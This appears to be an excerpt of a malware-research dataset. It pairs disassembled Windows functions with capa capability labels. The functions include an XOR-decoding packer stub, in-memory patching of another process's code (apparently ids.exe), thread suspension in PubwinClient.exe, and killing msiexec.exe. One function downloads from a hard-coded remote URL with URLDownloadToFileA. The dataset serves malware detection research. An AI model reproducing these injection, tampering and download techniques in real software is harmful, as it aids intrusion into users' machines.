joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43b950
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x43b967
add esp, 0xfffffff0
call fcn.00403074
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00411a2c
mov byte [ebx + 0x28], 0
mov dl, 1
mov eax, dword [0x40bb3c]
call fcn.00402d5c
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x40bb3c]
call fcn.00402d5c
mov dword [ebx + 0x98], eax
xor eax, eax
mov dword [ebx + 0x50], eax
xor eax, eax
mov dword [ebx + 0x74], eax
mov dword [ebx + 0x4c], 0x80000018
mov dword [ebx + 0x68], 0x1f4
mov byte [ebx + 0x6c], 1
xor eax, eax
mov dword [ebx + 0x70], eax
mov dword [ebx + 0x64], 0x9c4
mov byte [ebx + 0x78], 0
mov byte [ebx + 0x8d], 1
mov dl, 1
mov eax, dword [0x413628]
call fcn.00419050
mov esi, eax
mov dword [ebx + 0x88], esi
push 0x43badc
mov eax, dword [0x43faac]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00419420
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x43d450
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x43faac]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_2
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.00409794
test eax, eax
je 0x43ba5a
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00407e1c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.004097bc
test eax, eax
je 0x43ba6e
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x7c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00403c2c
mov eax, dword [0x43f9d0]
cmp byte [eax], 0
jne 0x43ba9f
mov eax, ebx
call fcn.0043bbc8
mov byte [ebx + 0x49], 1
mov byte [ebx + 0x4a], 1
mov byte [ebx + 0x4b], 1
mov byte [ebx + 0x8e], 1
xor eax, eax
mov dword [ebx + 0x90], eax
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x43bad1
call fcn.004030cc
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43be38
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4407c8]
cmp dword [eax + 0x24], 0
je 0x43bedb
cmp dword [ebx + 0x84], 0
jne 0x43bed5
mov eax, dword [ebx + 0x24]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x43bdc8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x80]
cmp dword [eax + 8], 0
je 0x43bed5
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x43be9e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x80]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x43bed5
push 0x13
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x80]
call fcn.0040d200
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x43bead
inc dword [ebx + 0x84]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x43c8e8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x94], 0
je 0x43c91d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403ae4
jmp 0x43c927
mov eax, esi
mov edx, dword [ebx + 0x7c]
call fcn.00403a50
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x43d7c4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x74]
test esi, esi
je 0x43d7fc
mov eax, esi
call fcn.00425690
test al, al
je 0x43d7fc
mov eax, dword [ebx + 0x74]
call fcn.00425394
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43d7fc
push 0
mov eax, dword [ebx + 0x74]
call fcn.00425394
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x4a0d2e2d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x2f1839e8
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001350
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x14
push esi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10001472
mov eax, dword [0x1000a030]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebp
push edi
lea ecx, [esp + 0x14]
push ecx
push 0xa
lea edx, [esp + 0x20]
push edx
push eax
push esi
call ebx
cmp byte [esp + 0x18], 0x55
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jne 0x100013f6
cmp byte [esp + 0x19], 0x8b
jne 0x100013f6
mov edx, dword [0x1000a030]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 4
push edx
push esi
mov byte [esp + 0x2c], 0xc2
mov byte [esp + 0x2d], 0x24
mov byte [esp + 0x2e], 0
call edi
mov edx, dword [0x1000a030]
lea eax, [esp + 0x14]
push eax
push 3
lea ecx, [esp + 0x20]
push ecx
push edx
push esi
call ebp
mov ecx, dword [esp + 0x10]
mov edx, dword [0x1000a030]
lea eax, [esp + 0x10]
push eax
push ecx
push 4
push edx
push esi
call edi
mov edx, dword [0x1000a034]
lea eax, [esp + 0x14]
push eax
push 0xa
lea ecx, [esp + 0x20]
push ecx
push edx
push esi
call ebx
cmp byte [esp + 0x18], 0xa1
jne 0x10001468
cmp byte [esp + 0x19], 0xa8
jne 0x10001468
mov ecx, dword [0x1000a034]
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push ecx
push esi
mov byte [esp + 0x2c], 0xc2
mov byte [esp + 0x2d], 0x10
mov byte [esp + 0x2e], 0
call edi
mov ecx, dword [0x1000a034]
lea edx, [esp + 0x14]
push edx
push 3
lea eax, [esp + 0x20]
push eax
push ecx
push esi
call ebp
mov eax, dword [esp + 0x10]
mov ecx, dword [0x1000a034]
lea edx, [esp + 0x10]
push edx
push eax
push 4
push ecx
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x14
ret

Function at 0x10001480
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
xor eax, eax
test esi, esi
je 0x100014fa
mov ecx, 0x4a
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100014f3
lea ecx, [esp + 0x2c]
push str.ids.exe
push ecx
call fcn.10002208
add esp, 8
test eax, eax
jne 0x100014e4
mov edx, dword [esp + 0x10]
push edx
call fcn.10001350
add esp, 4
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100014c1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100015e0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x22c
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
push 8
xor ebx, ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
xor eax, eax
test esi, esi
je 0x1000166e
mov ecx, 0x89
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x10001665
mov edi, dword [ebp + 0xc]
lea esp, [esp]
lea edx, [esp + 0x30]
push edi
push edx
call fcn.10002208
add esp, 8
test eax, eax
je 0x10001661
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x10001630
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001a80
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
sub esp, 0x50
push ebx
push edi
xor ebx, ebx
push str.ntdll.dll
mov dword [esp + 0x14], ebx
mov dword [esp + 0xc], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, ebx
je 0x10001aae
push str.ZwQueryInformationThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
jmp 0x10001ab2
mov edi, dword [esp + 0x10]
cmp edi, ebx
je 0x10001bf6
mov eax, dword [esp + 0x5c]
push esi
mov esi, dword [0x1000a90c]
push eax
inc esi
push 4
mov dword [0x1000a90c], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x10], esi
je 0x10001bf5
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
push ebp
mov ebp, dword [0x1000a90c]
mov dword [esp + 0x28], ecx
lea edx, [esp + 0x1c]
mov dword [esp + 0x2c], ecx
push edx
mov dword [esp + 0x34], ecx
inc ebp
push esi
mov dword [0x1000a90c], ebp
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x24], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x10001be4
mov ebx, dword [sym.imp.KERNEL32.dll_OpenThread]
mov eax, dword [esp + 0x24]
push eax
push 0
push 0x1f03ff
call ebx
mov esi, eax
test esi, esi
je 0x10001b85
push 0
push 4
lea ecx, [esp + 0x20]
push ecx
push 9
push esi
call edi
mov eax, dword [esp + 0x18]
mov ecx, dword [0x1000a900]
cmp eax, ecx
jb 0x10001b82
mov edx, dword [0x1000a904]
add edx, ecx
cmp eax, edx
jae 0x10001b82
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
mov dword [esp + eax*4 + 0x38], ecx
inc eax
mov dword [esp + 0x10], eax
push esi
call ebp
cmp dword [esp + 0x10], 5
ja 0x10001b9f
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
push eax
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10001b35
cmp dword [esp + 0x10], 2
jne 0x10001be0
mov ecx, dword [esp + 0x38]
push ecx
push 0
push 0x1f03ff
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_SuspendThread]
mov esi, eax
test esi, esi
je 0x10001bc6
push esi
call edi
push esi
call ebp
mov edx, dword [esp + 0x3c]
push edx
push 0
push 0x1f03ff
call ebx
mov esi, eax
test esi, esi
je 0x10001be0
push esi
call edi
push esi
call ebp
mov esi, dword [esp + 0x14]
mov ecx, dword [0x1000a90c]
inc ecx
push esi
mov dword [0x1000a90c], ecx
call ebp
pop ebp
pop esi
pop edi
pop ebx
add esp, 0x50
ret
Function at 0x10001c00
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x228
mov eax, dword [ebp + 8]
push esi
push edi
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10001cbd
inc dword [0x1000a90c]
xor eax, eax
mov ecx, 0x89
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
push ecx
push esi
mov dword [esp + 0x10], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x10001ca9
lea ecx, [ecx]
lea edx, [esp + 0x28]
push str.msvcrt.dll
push edx
call fcn.10002208
add esp, 8
test eax, eax
jne 0x10001c7b
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dword [0x1000a900], eax
mov dword [0x1000a904], ecx
jmp 0x10001c9a
lea edx, [esp + 0x28]
push str.hintnobho.dll
push edx
call fcn.10002208
add esp, 8
test eax, eax
jne 0x10001c9a
mov eax, dword [esp + 0x20]
mov dword [0x1000a908], eax
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x10001c50
mov ecx, dword [0x1000a90c]
inc ecx
push esi
mov dword [0x1000a90c], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10001cd0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10001d8d
inc dword [0x1000a90c]
xor eax, eax
mov ecx, 0x4a
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001d79
mov edi, 0x1e000
lea ecx, [esp + 0x2c]
push str.PubwinClient.exe
push ecx
call fcn.10002208
add esp, 8
test eax, eax
jne 0x10001d6a
mov edx, dword [esp + 0x10]
push edx
call fcn.10001c00
mov eax, dword [0x1000a904]
add esp, 4
test eax, eax
je 0x10001d79
mov eax, dword [0x1000a900]
test eax, eax
je 0x10001d79
cmp dword [0x1000a908], edi
jne 0x10001d79
mov eax, dword [esp + 0x10]
push eax
call fcn.10001a80
add esp, 4
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001d20
mov ecx, dword [0x1000a90c]
inc ecx
push esi
mov dword [0x1000a90c], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1000a90c]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10001ff0
Capabilities:
Download url
Enumerate processes
Get common file path
Query or enumerate registry value
Receive data
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x360
push ebx
push ebp
push esi
push edi
push 0x104
lea eax, [esp + 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x160]
dec edi
jmp 0x10002020
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002020
mov ecx, dword [str.MSIESAFE.DLL]
mov edx, dword [0x100083c8]
mov eax, dword [0x100083cc]
mov dword [edi], ecx
mov cx, word [0x100083d0]
mov dword [edi + 4], edx
lea edx, [esp + 0x160]
mov dword [edi + 8], eax
push edx
mov word [edi + 0xc], cx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100021c2
push str.DllCanUnloadNow
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100021c2
call eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
mov dword [esp + 0x14], esi
jne 0x10002098
mov eax, dword [0x1000a90c]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, 0x4a
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x38]
push eax
push esi
mov dword [esp + 0x40], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x10002114
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, edi
lea ecx, [esp + 0x5c]
push str.msiexec.exe
push ecx
call fcn.10002208
add esp, 8
test eax, eax
jne 0x10002105
mov edx, dword [esp + 0x40]
push edx
push eax
push 0x1f0fff
call ebx
mov esi, eax
test esi, esi
je 0x10002101
push 0
push esi
call ebp
push esi
call edi
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x38]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100020d0
push esi
call edi
lea ecx, [esp + 0x18]
push ecx
push 0xf003f
push 0
push str.Softwaregoyooi8desk
push 0x80000002
mov byte [esp + 0x38], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002168
lea edx, [esp + 0x20]
push edx
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
push 0x10008248
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x12
mov esi, str.http:__hm.i8.com.cn_Interface_ExecuteReport.aspx_ADProjectID10002nid
lea edi, [esp + 0x268]
lea eax, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002181
lea edi, [esp + 0x268]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10002192
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push str.c:windows_system321.txt
lea ecx, [esp + 0x274]
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileA
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000239b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x1000248b
mov eax, 0x94
call fcn.10004460
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10002500
mov ecx, dword [esi + 0x10]
mov dword [0x1000aa9c], ecx
mov eax, dword [esi + 4]
mov dword [0x1000aaa8], eax
mov edx, dword [esi + 8]
mov dword [0x1000aaac], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x1000aaa0], esi
je 0x10002406
or esi, 0x8000
mov dword [0x1000aaa0], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x1000aaa4], eax
call fcn.10002c43
test eax, eax
pop ecx
je 0x10002500
call fcn.10002b3a
test eax, eax
jne 0x10002433
call fcn.10002c94
jmp 0x10002500
call fcn.100043cf
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x1000b138], eax
call fcn.100042ad
mov dword [0x1000a914], eax
call fcn.10003d8e
test eax, eax
jl 0x10002484
call fcn.1000420b
test eax, eax
jl 0x1000247f
call fcn.10003fd8
test eax, eax
jl 0x1000247f
push 0
call fcn.10003b86
test eax, eax
pop ecx
jne 0x1000247f
inc dword [0x1000a910]
jmp 0x10002511
call fcn.10003f8c
call fcn.10002923
jmp 0x10002429
test eax, eax
jne 0x100024bb
cmp dword [0x1000a910], eax
jle 0x10002500
dec dword [0x1000a910]
cmp dword [0x1000aad8], eax
jne 0x100024aa
call fcn.10003cc4
call fcn.10003f8c
call fcn.10002923
call fcn.10002c94
jmp 0x10002511
cmp eax, 2
jne 0x10002504
push 0x8c
push 1
call fcn.10003cd3
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x10002500
push esi
push dword [0x1000a1d4]
call dword [0x1000a938]
test eax, eax
push esi
je 0x100024fa
call fcn.10002940
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x10002511
call fcn.10002271
pop ecx
xor eax, eax
jmp 0x10002514
cmp eax, 3
jne 0x10002511
push 0
call fcn.10002b0b
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc

Function at 0x10003bf0
Capabilities:
Terminate process

Disassembly:
push 8
push 0x10008608
call fcn.100039bc
push 8
call fcn.10002e66
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x1000aadc], esi
jne 0x10003c24
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x1000aad8], esi
mov al, byte [ebp + 0x10]
mov byte [0x1000aad4], al
cmp dword [ebp + 0xc], edi
jne 0x10003c6e
cmp dword [0x1000b108], edi
je 0x10003c5e
mov eax, dword [0x1000b104]
sub eax, 4
mov dword [0x1000b104], eax
cmp eax, dword [0x1000b108]
jb 0x10003c5e
mov eax, dword [eax]
cmp eax, edi
je 0x10003c3f
call eax
jmp 0x10003c3f
push 0x1000a020
mov eax, 0x1000a01c
call fcn.10003b6e
pop ecx
push 0x1000a028
mov eax, 0x1000a024
call fcn.10003b6e
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x10003c9f
cmp dword [ebp + 0x10], edi
jne 0x10003cad
mov dword [0x1000aadc], esi
push dword [ebp + 8]
call fcn.10003b2c
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x10003cac
push 8
call fcn.10002db1
pop ecx
ret
call fcn.100039f7
ret
Function at 0x1000461c
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x1000a550]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x1000a3b8]
je 0x10004651
inc eax
cmp eax, 0x13
jb 0x10004642
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x1000a3b8]
jne 0x10004777
mov eax, dword [0x1000a91c]
cmp eax, 1
je 0x1000474f
cmp eax, edx
jne 0x10004681
cmp dword [0x1000a920], 1
je 0x1000474f
cmp ecx, 0xfc
je 0x10004777
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x100046b7
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.10004ed0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.10005580
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x100046eb
mov eax, edi
push eax
call fcn.10005580
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x10008a30
push edi
call fcn.10005020
add esp, 0x10
push edi
call fcn.10005580
push dword [esi + 0x1000a3bc]
mov ebx, eax
call fcn.10005580
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.10004460
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.10004ed0
push edi
push ebx
call fcn.10004ee0
push 0x10008a10
push ebx
call fcn.10004ee0
push dword [esi + 0x1000a3bc]
push ebx
call fcn.10004ee0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.10006628
add esp, 0x2c
jmp 0x10004777
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x1000a3bc]
push dword [esi]
call fcn.10005580
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.1000563c
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x10006628
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x1000acc4], ebx
push esi
push edi
jne 0x100066a8
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x100066e3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x1000acc4], eax
je 0x100066e3
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x1000acc8], eax
call esi
cmp dword [0x1000aa9c], 2
mov dword [0x1000accc], eax
jne 0x100066a8
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x1000acd4], eax
je 0x100066a8
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x1000acd0], eax
mov eax, dword [0x1000acd0]
test eax, eax
je 0x100066ed
call eax
test eax, eax
je 0x100066d4
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x1000acd4]
test eax, eax
je 0x100066d4
test byte [ebp - 8], 1
jne 0x100066ed
cmp dword [0x1000aaa8], 4
jb 0x100066e7
or byte [ebp + 0x12], 0x20
jmp 0x1000670c
xor eax, eax
jmp 0x1000671c
or byte [ebp + 0x12], 4
jmp 0x1000670c
mov eax, dword [0x1000acc8]
test eax, eax
je 0x1000670c
call eax
mov ebx, eax
test ebx, ebx
je 0x1000670c
mov eax, dword [0x1000accc]
test eax, eax
je 0x1000670c
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x1000acc4]
pop edi
pop esi
pop ebx
leave
ret